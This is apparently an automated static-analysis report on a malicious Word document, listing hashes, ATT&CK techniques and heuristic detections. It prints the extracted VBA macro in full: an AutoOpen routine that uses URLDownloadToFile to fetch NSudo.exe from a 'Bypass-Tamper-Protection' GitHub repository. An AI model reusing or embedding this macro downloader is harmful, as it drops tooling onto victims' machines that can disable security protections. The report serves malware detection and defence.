Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 699eba4b7a0e0d9c…

MALICIOUS

Office (OOXML)

15.9 KB Created: 2021-06-09 07:05:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-06-17
MD5: 74a37bafc493c374b14cd488a0c7b0eb SHA-1: ba610ba9435ad5aae54327009117cba2fd1916d1 SHA-256: 699eba4b7a0e0d9cebfc127dd2a9feb6c12cb16170371d647e266b73a9468e99
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the URLDownloadToFile function to download a file named 'NSudo.exe' from the provided GitHub URL to the user's temporary directory. The presence of the AutoOpen macro and the URLDownloadToFile function strongly indicates an attempt to download and execute a second-stage payload, likely for malicious purposes.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
imgsrc = "https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe %temp%\NSudo.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe Referenced by macro
    • https://raw.githubusercoReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 770 bytes
SHA-256: 6d7f2e8a8a3bcf9bf7e8f1ff8d1788e6ed0ac1d858ed52e8b493677a99a5c881
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub AutoOpen()
imgsrc = "https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe %temp%\NSudo.exe"
dlpath = "C:\"
URLDownloadToFile 0, imgsrc, dlpath & "NSudo.exe", 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: a1d0c6b89693f4d8b09ab397a9d52200463d6055c6b98eea45408b47cb5c3979

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